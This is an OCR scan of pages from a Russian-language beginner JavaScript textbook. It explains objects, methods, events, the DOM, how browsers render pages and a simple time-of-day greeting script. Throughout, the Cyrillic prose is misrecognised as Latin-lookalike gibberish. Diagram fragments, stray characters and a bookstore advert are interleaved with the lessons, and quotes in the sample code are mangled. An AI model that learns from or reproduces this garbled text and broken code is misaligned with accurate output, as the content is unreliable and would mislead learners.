o «VI3MEHM 3HaYeHne OAHOTO UK
HECKOJIbKMX CBOMCTB AaHHOTO 06beKkTa.

OCHOBbI MPOrPAMMUPOBAHUA

4YTO OEJIAET METOL?

Koa meToa MOXeT coZiepxXaTb MHOXECTBO
MHCTPYKLMIA. BMecTe Bce oHM 06pasyoT
3ajauy.

Mpun MCcnosb30BaHMM MeToAa BamM He 064-
3aTeJ/IbHO 3HaTb, KAK UMEHHO OH BbIMOJIHAET
3agavy. Heo6X0AMMO NN NPaBUJIbHO
GOPMYINPOBaTL KBOMPOCHI» K METOAY U
YMETb NPaBuIbHO MHTEPTNPETUPOBATb €ro
«OTBETbIY.



OBBEKT «OTEJ1b»

Mpun B3anMoAencTBUN C OTeeM 06bIYHO
TpebyeTcs y3HaTb, eCTb /i B HEM CBOHOA-
Hble MecTa. YTobbl MONYYUTL OTBET Ha 3TOT
BOMPOC, HY>XXHO HanmcaTb MeTo/, KOTOPbIn
OyAeT BblUMTATb KONIMYECTBO 3abPOHUPO-
BaHHbIX MECT M3 06LLEero YMcaa HOMeposB.
Kpome Toro, MeTozbl MOXHO MPUMEHATb
ANA yBENNYEHUS UIN YMEHbLUEHUS 3HaYe-
HWs cBOMCTBA bookings Npu GpoHMPOBaHUK
HOMEPOB UM OTMeHe BPOHM.

OBBEKTbl «<cABTOMOBWJ1b»

3HayeHWe cBOMCTBA currentSpeed J0/1XKHO
BO3pacTaTb UM YMEHbLLATHLCS B 3aBUCK-
MOCTW OT TOTO, Ha KaKyto negasnb HaxXxnmaeT
BOAMTENb: TOPMO3 UK ras. Kog ansa ysenu-
YEHUS NN YMEHbLUEHUSI 3HAaYeHNsI CBOM-
cTBa currentSpeed MOXHO 3anncaTtb B MeToAe
changeSpeed().

TUN OBBbEKTA: OTEJ1b

METOA
makeBooking()

cancelBooking()

checkAvailability() :

YBenuumneaeT 3HauYeHNe CBONCTBA bookings

4YTO NpoucxoauT:

YMeHbllaeT 3HauYeHne CBONCTBa bookings

BbluMTaeT 3HauyeHMe cBOMCTBa bookings 13
3HaYeHWs CBOMCTBA rooms U BO3BpallaeT
KOSIMYeCcTBO CBOGOAHbBIX HOMEPOB

1
i
I

il
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Il

AU

TUN OBBbEKTA: ABTOMOBWJ1b

METO[
changeSpeed()

4YTO NPOUCXOAMUT:

YBenuyneaeT UM yMeHbLUaeT 3Haye-
HWe cBOWCTBa currentSpeed

1]

rr
s

l‘l
e

Jll
I\

TUN OBbEKTA: ABTOMOBWJ1b

METOA 4YTO NPOUCXOAMT:

changeSpeed()
HWe cBOMCTBA currentSpeed

YBennymBaeT Nn yMeHbLLaeT 3Have-

OCHOBbI MPOrPAMMUPOBAHUSA




COBMECTHOE
NCTIOJIb3OBAHWE

KoMMbloTepbl UCMOb3YIOT AaHHbIE A1 CO34aHUA MOJEsEN
BeLLleN, CYLLeCTBYOLMX B peasibHOM Mmupe. CobbiTua, me-
TO/bl 1 CBONCTBA 0ObeKTa TECHO B3aMMocBA3aHbl. CobbITUSA
MOTYT BbI3biBaTb CpabaTbiBaHMEe METOA0B, @ MeTO/bl CMOCOb-
Hbl U3BJ/1IEKATb UM OOHOB/IATH CBONCTBA OOBEKTOB.

/. y
[ -
/ JR" ﬂ s

, ®?
TUN OBBbEKTA: OTEJ1b
COBbITUE npoucxoauT, Koraa: BbI3biBaeMblil MeTOA: CBOMWCTBA
0 m BpoHupyeTca HoMep makeBooking() name Tula
cancel BpoHupoBaHue cancelBooking() rating 4
OTMeHsieTcs .
rooms 42
METO[ UYrto penaer: J . 2z
. . gym false
e makeBooking() YBenMumBaeT 3HayeHne CBONCTBA .
bookings pool true
cancelBooking() YMeHbluaeT 3HaueHne CBONCTBa
bookings
checkAvailability() | BblunTaeT 3HayeHMe CBOMCTBA
bookings U3 3HaUYeHUA CBOWCTBA rooms U
BO3BpalLaeT KOJIMYeCTBO [4OCTYMHbIX
HOMepoB

@ OCHOBbI MPOrPAMMUPOBAHUSA



OBBEKT «OTEJ1b»
1.

Korpa 6poHupyeTca HoMep, npouc-
XOAUT cobbiTHe book.

B pesynbTaTe cobbiTha book cpabaTbiBa-
eT meTo/ makeBooking(), yBennunsatoLnin
3Ha4yeHWe cBomncTBa bookings.

3HauyeHUe cBoMCTBA bookings M3MeHAET-
csi, oTpaxas, Takum o06pas3om, CKObKO
cB0HOAHbIX HOMEPOB 0CTaNOCh B OTeNe.

OBBEKTbl «<cABTOMOBWJ1b»
1.

Korga BoauTe b HaXXMmaeT neaasb
rasa, cpabaTtbiBaeT cobbiTue accelerate.

. CobbiTue accelerate Bbi3biBaeT METO/,

changeSpeed(), KOTOpbIV yBENMYMBAET
3HayeHMe CBOMCTBA currentSpeed.

. Mo 3HauyeHwWto cBOMCTBA currentSpeed

MOXHO CyANTb, HAaCKO/1bKO 6bICTpO
ABUNXETCA aBTOMOBU/Ib.

TUN OBbEKTA: ABTOMOBEWJ1b

S [8)  YBennunsaeT unu ymeHbLliaeT

3HaYeHne CBOMNCTBA currentSpeed

COBbITUE Mpowucxoaumr, Bbi3biBaeMblit CBOWUCTBA '|” '
Korga: MeToA: make e
brake Boautens c6as-  changeSpeed() currentSpeed IO
NSeT CKOPOCTb
: . color silver
Boauntens ysenu- : changeSpeed()
YMBAET CKOPOCTb fuel diesel
METO[L YTto penaer:

OCHOBbI MPOrPAMMUPOBAHUSA



BPAY3EPblI — 3TO
MPOIPAMMBbI, OJ14
CO3O0AHNA KOTOPbBIX
NCTOJIb3YIOTCH OB bEKTDI

BblLLie Mbl pacCMOTPesIN, Kak MOXHO CO3ZaTb MOZE/b OTENS NN
aBTOMOOW/IS Ha OCHOBE MMEILLIMXCS AaHHbIX. bpay3epbl co3aatoT
noZobHble MOAENN TeX BED-CTPaAHUL, KOTOPble B HUX OTObpaa-
l0TCH, @ Takke caMoro 6pay3epHOro okHa, rae Mbl BUAWM CTpa-

HULY.

OBBEKT «OKHO»

Ha cneaytouien cTpaHuue nokasaHa Mo-
[e/ib KOMMbloTepa, Ha 3KpaHe KOToporo
OTKpbIT Opaysep.

Kax/oe OKHO U1 BKAaAKa NpeacTas-
naetca B bpaysepe npu noMoLm 06s-
ekTa window. CBOMCTBO location 06bekTa
window coobuiaeT Bam URL akTyanbHOM
CTpaHuLbI.

@ OCHOBbI MPOrPAMMUPOBAHUSA

OBBEKT «JOKYMEHT»

Texyulaa Beb-CcTpaHuLa, 3arpyxaemas
B KaXxJ0e OKHO, MOZEeNMpyeTcs Npu no-
Mol 06bekTa document.

CBOMNCTBO title 06bekTa document CO06-
ljaeT, kKakas MHbopmMaLums 3anmcaHa
MeXAY OTKPbIBAOLLMM Terom <title>

1 3aKpbIBaOLLMM TEFOM </title> 3TO BEO-
cTpaHuubl. CBOMCTBO lastModified o6bekTa
document yka3blBaeT AaTy ee NoCAe4HEro
N3MEHEHUS.



TUN OBBEKTA: OKHO

CBOWUCTBA

location  http://eksmo.ru/

TUMN OBbEKTA: AOKYMEHT

CBOMWCTBA
URL http://eksmo.ru/
lastModified  09/04/2014 15:33:37

title HTML u CSS. PaspaboTka v gu3aiH caii-
TOB — CaMblit NPOCTON U UHTEPECHbIN
cnoco6 n3yunts HTML u CSS

L]
OCHOBbI MTPOFPAMMUPOBAHMS
;



OBbEKT JOKYMEHTA
NMPEOCTABJIAET
HTML-CTPAHNLY

ﬂOﬂb3yﬂCb 006beKkToOM document, MOXXHO noaydynTb AOCTYM K KOH-
TEHTY, KOTOprl7I nob3oBaTeE/ M BUAAT Ha CTpaHNLE, a TakK>Xe
pearmpoBaTb Ha ,£I,EI7ICTBI/I§|, coBepLlaemMble NMWN.

O6beKkT AoKYyMeHTa noaobeH Apyrum
obbekTam, MpeAcTaBAfLWUM Npea-
METbl M3 peasibHoro mMmpa. Y aToro
06beKkTa ecThb:

CBOWCTBA

OHM OMUCHIBAIOT XapakTepUCTUKM
TekyLen seb-cTpaHuubl (Hanpumep,
€e 3aro/s10BoOK);

METObI

OHM BbIMNOIHAIOT 334341, CBA3aHHbIE
C TEM AOKYMEHTOM, KOTOPbIA B Ha-
CTOSALLMA MOMEHT 3arpyeH B 6pay-
3epe (Hanpumep, meToz cnocobeH
Nnoay4YnTb MHGOpMauuio 06 ykasaH-
HOM 3/IeEMeHTe Unn A06aBUTb HOBbIN
KOHTEHT);

COBbITNA

Bbl MOXETe pearmpoBaTb Ha cobbiTus,
Takue Kak LLefY0oK MbILW UK Kaca-
HUE 3/1eEMEHTa Ha CEHCOPHOM 3KpaHe.

OCHOBbI MPOrPAMMUPOBAHUA

MockobKy BCE pacnpocTpaHeHHble bpay-
3epbl peannsyoT 06bekT document 04MHAKO-
BO, pa3paboTumkm pacrnonarawrT:

*  peasn3oBaHHbIMW CBONCTBAMMU,
K KOTOPbIM MOXHO 06paLlaTbcs
M y3HaBaTb, Kakasa CTpaHuLa cenvac
oTobpaxaeTcq B bpaysepe;

*  HanucaHHbIMW METOAAMMU,
NO3BOSALWMMN PeLIaTb PAS
pacnpocTpaHeHHbIx 3a4ad, bes
KOTOPbIX HE 06XOANTCSA MPOCMOTP
BebH-CcTpaHuLbl.

Bam npeacTonT HayunTbcs paboTaTb C
3TUM 0bbekTOM. Ha camom gene document —
JINWb OAWH N3 MHOXeCTBa 06bekTOB,
NnoAAEPXNBAEMbIX BCEMMW PacnpOCTpPaHeH-
HbiMUK bpay3epamu. Korga 6paysep cosgaeT
MoZenb Beb-CTpaHuLbl, OH MoAroTaBaAMBa-
eT He ToNbKo document, HO M HOBblE 0OBEKTHI
ANA KaX[0oro U3 ee 3/1IEMEHTOB. Bce aTun
0b6BEKTbI OMUCHIBAOTCH B 0O6bEKTHOM Mojge-
JI1 JOKYMEHTA, O KOTOPOW Mbl MOTOBOPUM

B rnase 5.



CBOWUCTBA
URL http://eksmo.ru/
lastModified 09/04/2014 15:33:37

title HTML n CSS. PaspaboTka v fu3aitH cainTos —
CaMblil NPOCTOIi U MHTEPECHbI CNOCO6
n3yuntb HTML 1 CSS

COBbITUE npoucxoauT, Korpa:
load | 3aBepluaeTCcs 3arpy3ka CTpaHuLbl 1 Pecypcos
click : MONb30BaTESb LEeNKaeT MblLLbo Ha CTPaHULe

keypress i MoNb30oBaTe b HAXKMMaET KaBuLly

METO[ YTto penaerT:
write() no6aBnsaeT B LJOKYMEHT HOBbIN KOHTEHT

getElementByld() : nony4daeT 4OCTYN K 3/1EMEHTY MO ero

.
aTpunobyTy

KynuTs 33 1094 p.

378 Kora — cambifi IDOCTOM # UHTEPeCHEI CTIOCOG WaysuTh HTML 1 CSS.
HeaaeioAmo or CTOoRLIEH NepeA Baki 3a0a4H: CPORKTUPOBATs M
PaspaBOTaT, BEG-CAWT C HYMA WA NONYWHTS GONbLLE KOHTPONA Ha YXe
CYUECTaYIOUM CATOM, 373 KHWTA NOMOKET BaM Co3aa
DUBNEKATENbHEIA, APYXEIOGHbIF K NONbIOBATENO BEG-XOHTEHT. MpocTon
BUSYaNEHBIA CIOCOG 1044 UHGDOPMBLIY G NIOKATHEIMH NPAMEPANY
HEGONELLIM DPArMEHTOM KO SHAKOMMT C HOBOW TEMO Ha KaXAOR
CTpanwe. Bbl HaAGETe NPaKTHYECKHE COBETSI O TOM, KaK OPIaKHIOBETS U
CNPOEKTUPOBTL CTRANWLILI BALLEFO CATa # NOCE NDOSTEHHA KHNHT
CMOKeTe pa3paGoTaTs CaoM 8e6-CT NIPODECCHOHATBHOTO M3 1
YROGHSIA B UCNONB30BHHK.

Rara bixoga: 01.102014
«on flaxerr

@ Orsuisw u npeanoxeHs

(Her onocos)

opwar: 70x100/16

OCHOBbI MPOJPAMMUPOBAHUSA




KAK BPAY3EP BNONT

BEB-CTPAHVLLY

YT0Obl MOHATb, KAK MOXHO U3MEHATb KOHTEHT
Beb6-cTpaHuMubl Nnpu nomoLlym JavaScript, Heobxogumo
3HaTb, Kak 6bpaysep nHtepnpetupyetr HTML-kopa

n odbopmMnsieT ero c NpuMeHeHnem Tabauy cTunen.

1. TONTYYAEM
CTPAHULY B BUAE
HTML-KO[OA.

Kaxxayt cTpaHuuy
Ha CanTe MOXHO
CUMTaTb OTAE/b-
HbIM AOKYMEHTOM.
Takum obpasom,
BcemupHasa nayTuHa
COCTOUT U3 MHOXe-
CTBa CanlTOB, U Kax-
Abl COCTOUT U3
OAHOr0 UAN MHOTUX
AOKYMEHTOB.

2. COSOQAEM MOJAEJIb
CTPAHULUbI U COXPAHAEM

EE B MAMATU.

Mogaenb, nokasaHHas
Aanee — 3To NpeAacTaBe-
HVe OYeHb NpoCTOM BED-
cTpaHuubl. CTPYKTYpPHO OHa
HanoMWHaeT reHeanoruye-
ckoe ApeBo. Ha BepLunHe
MOZENIN HaXoaUTCS 06beKT
AOKYMEHTA, COOTBETCTBYIO-
LU LesIOMY AOKYMEHTY.
Moa 06bEKTOM AOKYMEHTA
pacnonaratTtca 6osee men-
KWe 3/IeMeHTbI, Ha3biBaeMble
y3namu. Kaxxabivi ysen —
3TO CAMOCTOSATE/IbHbIN
06beKkT. B gaHHOM npumepe
y Hac ecTb y3/ibl TPEX TUMOB:
3/1EMEHTbI, TEKCT BHYTpU
3/1EMEHTOB 1 aTpUBYThHI.

3. UICMNOJIb3YEM MEXAHU3M
BU3YAJIU3ALUUN ONA NOKA-
3A CTPAHMULDbI HA 3KPAHE.

Ecnun Ha cTpaHuue HeT CSS, To
MexaHU3M BU3yanmsauum npum-
MeHUT K HTML-anemeHTam cTun-
NN, 3aZaHHble MO YMOJIYaHUIO.
OpgHako HTML-koa ns atoro
npumepa cBsizaH c Tabaunuen
cTunein. NMotomy 6paysep 3a-
npawmuBaeT ee ¢an noTobpa-
>XXaeT CTpaHuLUy Kak cieayer.

MonyumB npaBuna CSS, mexa-
HW3M BU3yanmsauumm ux obpa-
6aTblBAET M NPUMEHSIET KaXKa0e
npaBu/Io K TEM 3/1IeMEHTaM,

K KOTOPbIM OHO OTHOCUTCS.
Takum obpasom 6paysep pac-
noJsiaraeT BCe 3/1IEMEHTbI MO
MecTaMm, noabupaeTt 4na HUX
HY>XHble LBeTa, WpUdTbI U T.4.

Bce pacnpocTpaHeHHble 6pay3epbl UICNO/b3YOT
MHTepnpeTaTop JavaScript gna npeobpasoBaHnsa BaLLnNX
MHCTPYKUWNI (HAaNnMCaHHbIX Ha 3TOM S13blKe) B KOMaHAbl,
KOTOpPble€ MOXET BbIMOJIHUTb KOMMbIOTEP.

Mpu ncnonb3oBaHun
a3blka JavaScript B
bpaysepe 3aaein-
CTBYETCSA MEXaHU3M,
Ha3blBaeMbI UHTEp-
npetatopom (Mnu
ABUXKOM Ans obpa-
60TKM CLLEHAPUEB).

MHTepnpeTaTop NpuHU-
MaeT Balun MHCTPYyKLUK,
HanncaHHble Ha A3blKe
JavaScript, n npeobpasyeT
WX B KOMaHAbl, Mpy nNo-
MOLLIM KOTOpbIX Bpay3ep
MOXeT BbIMOJIHUTbL Tpebye-
Mble 3a4auu.

@ OCHOBbI MPOrPAMMUPOBAHUSA

B MHTepnpeTMpyemom s3bl-

Ke NMporpaMmMupoBaHus, —

a UMEHHO Takum aBnsieTcs
JavaScript, — npeobpasoBaHue
BCEeX CTPOK KoAa NponcxoamT
no NopsiAKy, N0 Mepe BbIMNOJIHE-
HUS cueHapus.



<!DOCTYPE html>
<html>
<head>
<title>CY-777</title>
<link rel="stylesheet" href="css/c01.css" />
</head>
<body>
<h1>CY-777</h1>
<p>Io Bcem Bonpocam npocbba 06pawarbca no Ten.:
<em>555-3344</em></p>
</body>
</html>

document

<html>

<title> <link>

i orel stylesheet @
Mo scem

BOMpocam

npocbba
555-3344

@ OBbEKT o6palaTs-
@ JJIEMEHT cAanoTen.:
@ TEKCT

it ATPUBYThI

CY-777

[PAMAAHCKOE CTPONTENLCTBO

o sceM mompocam npockBa
obpamarscs en.: 555-33

]

bpaysep nosnyva-
eT HTML-cTpa-
HULY.

2

Bpaysep co3gaet
MozAe b CTpaHu-
Libl U COXpaHseT
ee B NamaTun.

3

CTpaHuua oTo-
6paxkaeTcs

B 6paysepe npwu
nomoLLm mexa-
HW3Ma BU3yanu-
3auumu.

OCHOBbI MPOFPAMMUPOBAHUSA



KOMI'IbPOTepr Co34arT MoAae/ TN pe€AJ/IbHOCTU HA
OCHOBaAHUN MMEIKLLINXCA AaHHbIX.

B 3TUX MOZENSAX UCMONb3YOTCA 06BbEKTHI, Mpes-
CTaBAALLME pa3INYHbIE ABNEHNS PeasibHOro
Munpa. ObbekTbl MOIYyT UMETb: CBOMCTBA, CO0D-
LatoLme nHdopmMaLmio 0 KayecTBax 0bbekTa;
METO/bl, BbINOJIHAOLLME 334341 C MTPUMEHEHU-
eM CBOWCTB KOHKPETHOro 0b6bekTa; cobbiTuS,
NponcxoasLime B npoLecce B3aMMoAencTBuS
YyesioBeKa C KOMMbIOTEPOM.

[MporpaMMUCT MOXET HanucaTb KoA, 03Havato-
Wwnn: «Korga nponsongeT Takoe-To cobbiTue,
BbIMOJ/IHM TAKOMN-TO KOA.

bpaysepbl ncnonbsytoT HTML-pasmeTky ans
Cco3/aHmsa moaenn Beb-cTpaHmubl. Kaxkabln
3/1IeMeHT Beb-CTpaHuLbl CO34aeT COOCTBEHHbIN
y3es (Takxe ABASALWMNNC 06BEKTOM).

YT00bI 4OOUTHCA NHTEPAKTUBHOCTU BED-CTpa-
HUL, MPOrPaMMUCT NULLIET KO, ONEpUpPYOLLNA
Opay3epHOM MoAeblo BEO-CTpaHuLbl.



KAK HATMNCATb

CLEHAPU ONSA
BEB-CTPAHWUDbI

OOOOOOOOOOOOOOOOOOOOOOO



KAK COUETAKOTCHA HTML,

CSS NN JAVASCRIPT

Mpexae 4eM BMAOTHYH 3aHATbCA N3YYEHMEM SA3blKa
JavaScript, faBanTe pacCMOTpPUM, KaK OH cOYeTaeTCs
C APYTUMM A3bIKaMW, MPUMEHSIEMbIMIW MpU CO3a-

HWUM Beb-cTpaHuy, — HTML n CSS.

Kak npaswuno, Beb-paspa-
60TUYMKM HA3bIBAIOT TPU
A3blKa, aKTUBHO UCMO/b-
3yeMblIX NPy Co34aHumn
Beb-cTpaHuL: 3To HTML,
CSS un JavaScript.

<html>

YPOBEHb
KOHTEHTA —
OANNbI .HTML

34eCb HAXOANTCH KOH-
TEHT BEB-CTpaHMLbl.
A3bik HTML onucbiBaeT
ee CTPYKTYpy U CeMaH-
TUKY.

[To mepe BO3MOXHOCTH
cnepyeT He CMeLUmn-
BaTb KO/ Ha 3TUX 5A3bl-
Kax, pacnpeaensas ero
no pasHbiM dpannam.
HTML-cTpaHunua gonx-
Ha coflepXaTb CCbIKN
Ha dannbl c kogom CSS
n JavaScript.

{css}

YPOBEHb
NMPEOCTABJIEHNA —
OAWNIIbI .CSS

Tabnuubl ctunen CSS
aonosHaT HTML-
CTpaHuLUy Npasuaamu,
yKasblBaOLLMMU, Kak
J0JIXeH bbITb Npesa-
CTaB/IEH €€ KOHTEHT
(boH, rpaHunubl, pas-
mepbl 6/10K0B, LBETA],
wpudThI U T. 4.).

Kaxablin a3blk 0bpasyeT
OTAE/NbHbIN YPOBEHD,
MMELLMN CBOE Ha3Haye-
HWe. DTU YPOBHM oxapak-
TEPU30BaHbl HUXE, OHU
HaaCcTpauBaTCca Apyr
Haj Apyrom B nopsake
c/neBa Hanpaso.

javascript()

YPOBEHb _
NOBEAEHWNN —
OANNBI .JS

Ha sTom ypoBHE Mbl
MOXEeM MeHATb noBeje-
HMe CTpaHuLbl, TO eCTb
obecneymBaTb ee UHTe-
paKkTUBHOCTbL. Mbl byaem
CTapaTbCs AepXaTb
mMakcumym JavaScript-
KoAa B OTAE/IbHbIX
dannax.

Takyto CTPYKTYpYy NpOrpaMmMmnCTbl 3a4aCTyto Ha3blBaloT pa3jge/sleHUeM OTBETCTBEHHOCTM.

OCHOBbI MPOrPAMMUPOBAHUA



Ha pbiHKe nosiBnseTcs Bce
6osble pazHOObpasHbIX
YCTPOWCTB C BO3MOX-
HOCTbIO MOAK/YEHUS K
WNHTepHeTY, 1 KoHUenums
NpOrpeccMBHOrO yyy-
LIeHMSA NPpUMEHSIeTCs BCe
aKTuBHee.

Cy-777

Tlo BceM BonmpocaM NPockOa 0OPAMIATECA 110 TEI.: 555-3344

TOJIbKO HTML

HauyunHas paspaboTky ¢
HTML-ypOBHS, Mbl MOXeEM
CoCpeAoTOoOYNTbCS Ha
CaMOoW Ba>KHOW coCTaB-
nawowen nboro canTa:
KOHTEHTe.

[MockoNbky Ha 3TOM ypOB-
He NCMOob3yeTCs UCKI0-
ynTenbHo A3blk HTML, oH
AonxeH paboTaTb Ha BCeX
yCTponcTBax, 6biTh 0-
CTynNeH ANs BCEX N0/b30-
BaTe/len 1 3arpyxaTbcs
10CTaTO4YHO BbICTPO Aaxe
npn MmeasIeHHOM coefn-
HeHWn c MHTepHeTOM.

[MPOIMPECCHMBHOE
YJIYUYLLHEHNE

Tpu BblLLUEYyKa3aHHbIX YPOBHSA — 3TO TPU KMUTA, Ha KOTOPbIX 3UXK-
AEeTCs NoNynsapHbIM NOAX0A K CO34aHUI0 BEO-CTpaHuL,. Takon
MoAX0/A4 Ha3bIBAETCS MPOrpeCCUBHBIM YAYYLLEHNEM.

OTAnYnA Mexay aTUMm
YyCTPONCTBaMMU He orpa-
HUYMBAIOTCA pazmepamm
3KpaHa — Tak>Xe 3Ha-
UMTENbHO BapbupyloTCA
annapaTHble BO3MOXHOCTH
YCTPOWCTB U CKOPOCTb Coe-
AVHEHWS ¢ IHTepHETOM.

g

Cy-777

TPAX/[AHCKOE CTPOUTENLCTBO

Ilo BceM BonpocaM npocn6a
ofpamaTecs no men.: 555-3344

HTML + CSS

CSS-npaBwna, pernameH-
TupytoLme odpopmaeHme
CTpaHuUbl, 06bIYHO 3aMUChI-
BalOTCS B OTAEIbHOM daitne.
Taknum 06pa3om, Mbl Hagex-
HO OTAeNsieM KOHTEHT CTpa-
HWLbI OT TabanL cTUIER.

Mo>HO ncrnonb3oBaThb Ha
BCEM CalTe O4HY U Ty Xe
Tabnuuy cTunen. B Takom
c/lyyae cCanT cTaHeT bblI-
CTpee 3arpyxaTbcs v ero 6y-
JeT NpoLLle NoAAepXnBaTh.
Jpyroi BapMaHT — UCMoNb-
30BaTb pasHble Tabanubl
CTUNEN NPUMEHUTENBHO K
0ZHOMY 1 TOMY Xe KOHTEHTY
ANS CO34aHNA Pas3/InyHbIX
npeAcTaBAeHUN 04NHAKO-
BbIX A@HHbIX.

Kpome Toro, HekoTopble
nosfb3oBaTenn MHTepHeTa
oTK/toyatoT B bpaysepe
JavaScript. MosTomy BbI
ZLONXKHbI FapaHTUPOBaTb,
YTO BaLLUM CTpaHULbl byayT
dyHKUMOHMpOBaTH 1 Be3
CLeHapHoro Kkoaa.

g

CY-777

FPAXJAHCKOE CTPOMTENLCTEO

[OBPbIN OEHB!

Mo BceM BompocaM mpockGa
ofBpamaTkcst no Tem.: 555-3344

HTML + CSS + JAVASCRIPT

Kogp JavaScript nobasnsetcs

B Moc/seaHtot odepeab. OH
nosblLLAEeT yA06CTBO UCMOJIb-
30BaHWS CTpaHMLbI, @ TakXe
yAy4yllaeT BreyaTaeHns nosib-
30BaTeNq OT paboTbl C CAaNTOM.

Mockonbky koA JavaScript co-
AEepXNTCA B OTAENbHbIX dait-
N1ax, 3TO 03HAYaET, YTO CTPaHK-
ua byaeTt oTobpaxkaTbCs v B Tex
c/lyyasx, korga nosb3oBa-
Tenbckas MallnHa He cymeeT
3arpysuTb WK BbIMOJHUTb KOJ,
JavaScript. Kpome TOro, oguH n
TOT Xe KOZ MOXHO UCMOb30-
BaTb Ha HECKO/IbKMX CTpaHULax
(bnarofapsa yemy canT Takxe
byaeT bbicTpee 3arpy>xaTbCs,

M K TOMY e yNpoCcTUTCS ero
noaaepxka).

OCHOBbI MTPOrPAMMUPOBAHUA @



CO3OAHWVE MPOCTEULLEIO
KOOA HA A3bIKE JAVASCRIPT

KomaHabl Ha s3bike JavaScript 3anucbiBatoTCa 0OblYHbIM TEKCTOM,

Kak 1 Ha a3blkax HTML n CSS. lNMoTomy A1s8 co34aHnsa cLueHapus
BaM He noTpebyeTcs HUKAKNX cneymanbHbiX MHCTPYMEHTOB. B
3TOM NpumMepe Mbl 4obaBuUM npueeTcTBMe Ha HTML-cTpaHuuy.
Ero TekcT byaeT MeHSATbCS B 3aBUCMMOCTWM OT BPEMEHM CYTOK.

@ Cospgawnte kaTtanor ¢ umeHem 07 ans co-
xpaHeHus JavaScript-danna. OTkponTe Ball
N06UMbBIN peflakTop A1 BEPCTKM KoZa U BBe-
AVTe B HEro TeKCT, NpUBEEeHHbIN cripasa.

®ann Ha a3bike JavaScript — aTo npocTomn
TEKCTOBbIN AOKYMEHT (NoAobHbIN dannam
Ha a3blkax HTML 1 CSS). OgHako OH A0/1XKeH
MMeTb paclumpeHue .js. CoxpaHuTe co3-
AaHHbI dhann B kaTanore 07 nNog UMeHem
add-content.js.

He nepexnBanTe, eC/in Bbl MOKA HE MOHKWMae-
Te 3ToT KoA. [Ana Havana Mbl 06Cyanm, Kak
CO3/aTCH CLUeHapuy 1 Kak OHY BMNUCbIBAKOT-
cq B obuyto cTpykTypy HTML-cTpaHuLbl.

® Vicnonbsyiite ans
3Toro npumepa dabl

var today = new Date();
var hourNow = today.getHours();
var greeting;

if (hourNow > 18) {
greeting = '[lo6pblIit Beuep!';
} else if (hourNow > 12) {
greeting ="[lo6pblit feHb!";
} else if (hourNow > 0) {
greeting = '[lo6poe yTpo!";
} else {
greeting = 'Mpusetctyem!’;

}

document.write('<h3>' + greeting + '</h3>');

i KA

Bl = pulle]

CSS n nsobpaxeHus,
3arpy>eHHble C canTa
eksmo.ru.

© add-content.htmi

£ iCloud Drive
#A¢ Nporpamms!
[ Pabounii...
B Rowmerms |y menm
@ 3sarpysn is

YToObl NOAAEPXKUBATD
nopagok s CSS-cdannax,
X cneayeTt XpaHuTb

B KaTasiore C UMeHeM
styles nnu css. AHano-
ruyHo dannbl JavaScript
Nydlle ckaablBaTb B Ka-
Tanor scripts, javascript
nnu js. B paHHoOM cnydae
coxpaHuTe Ball dann

B KaTasore Js.

@ Kpachsiii
® Oparixesuiin
Kentii
® 3eneruin
Cutuit
@ Nunossii

® Cepui

@ OCHOBbI MPOrPAMMUPOBAHUA

o add-contentjs

Texor HTML
Manka
[Hoxyw...Safar
Manka

4 constructive-backdrop.jpg Ceropp JPEG
- constructive-logo.gif 3 GIF

Teker HTML
Nanka

Cerops, 15:10 5 JavaScript

Ha pucyHke nokasaHa cTpykTypa dalna, kotopasa y Bac rno-
NYYNTCS, KOrga aToT npumep byaet rotos. MmeHa dannos
BCersda CYMTatoTCA YyBCTBUTEIbHbIMU K PETUCTPY.



KAK COEJIATb CCblJIKY
C HTML-CTPAHWVLUDbI
HA OANJT JAVASCRIPT

Korga Hy>XHO MCcrno/sib30BaTbh Ha Beb-cTpaHuLe koa JavaScript,

B HTML-pa3ameTke npumeHsieTca aneMeHT script. OH coobuyaeT
Opay3epy, UTO Moc/ie OTKPbIBAKOLLErO Tera <script> pacrnosaraercs
koA cueHapus. ATpnOyT src 3TOro a/leMeHTa CoobLLaeT, rae co-
XpaHeH cooTBeTCTBYOLMN pann JavaScript.

<LDOCLTYPE html> © B TeKkcTOBOM pefakTope, rae Bbl
<html>
<head> nuwleTe KoZ, BBeAMTe NOKa3aHHYo BblLLe

<title=CY-777</title> HTML-pasmeTky. CoxpaHuTe 3TOT dann

<;E2:dr>el= stylesheet" href="css/c01.css" /> noga UMeHem add-content. html.

<body> HTML-3nemeHT script ucnosb3yeTcs
<h1=CY-777</h1>

<script src="js/add-content.js"></script> Ana 3arpy3ku daina JavaScript Ha
<p=>Io Bcem Bonpocam npocbba 06pallaThcs no Ten.: Beb-cTpaHuLy. Y JaHHOro 3/1eMeHTa
<em=555-3344</em=></p>
</body> €CTb aTpUBYT src, 3HaYeHNe KOTOPOro
</html> npeactaBndeT cobon nyTb K HAaNNMCaHHO-

MYy BaMu cLeHapuio.

Koa s npumepa aaet komaHay bpaysepy
HanTu 1 3arpy3nTb pann cueHapmsa (no-
A00OHbIM e obpasom AencTByeT aTpubyT
src, COMPOBOXAAMOLLMIA S/1EMEHT img).

@ OtxkponTte HTML-dpann

B Ballem bpaysepe. Bbl 401X
Hbl YBUAETb NPUBETCTBME,
nobaBfieHHOE HalWuMm cue-
Hapuem, B JaHHOM CayYae —
«]obpbit geHb!». Takne
npueeTcTBUA bepyTcs 13
danna c JavaScript-koaom;

B HTML-danine nx HeT.

¢

CY-777

TPAXAAHCKOE CTPOMTENLCTBO

llo BCcemM Bompocam mpock6a
ofpamarTecs mo Tex.: 555-3344

JOBPbINA JEHb!

7

O6paTute BHUMaHue: bpaysep Internet Explorer nHoraa 61okupyeT BbinosHeHWE
JavaScript-kogaa, Korga nosnb3oBaTes/Ib OTKPbIBAET CTPaHULY, COXPAHEHHYO Ha XeCT-
KOM Ancke. ECIM 3TO NPOUCXOAMT Ha Ballem KOMMboTepe, NonpobyiTe oTKpbITh dann
B bpay3sepe Chrome, Opera, Firefox nnu Safari.

OCHOBbI MPOrPAMMUPOBAHUSA @



NCXOOHbIV KOO
HE M3MEHAETCH

M3yumB npuBeAEHHbIN BbiLLE MPUMEP, Bbl YBUAUTE, 4TO
HTML-pasamMmeTka CoOBepLLUEHHO HE M3MEHW/IACb.

& Safari Qaitn Mpasxa Bua Hcropns  axnanc [[EEIRICNEN Owo  Crpasca
OTHpLITS CTRAHNLY © NOMOUSI0

»
MonL30BaTeNLCKYN AreHT >
>

© NpotecTupynTe 3TOT Npu-
Mep B 6paysepe 1 NpoCMoTpu-
T€ UCXOAHbIN KO CTPaHNLIbl —

TSNS pac — Admin

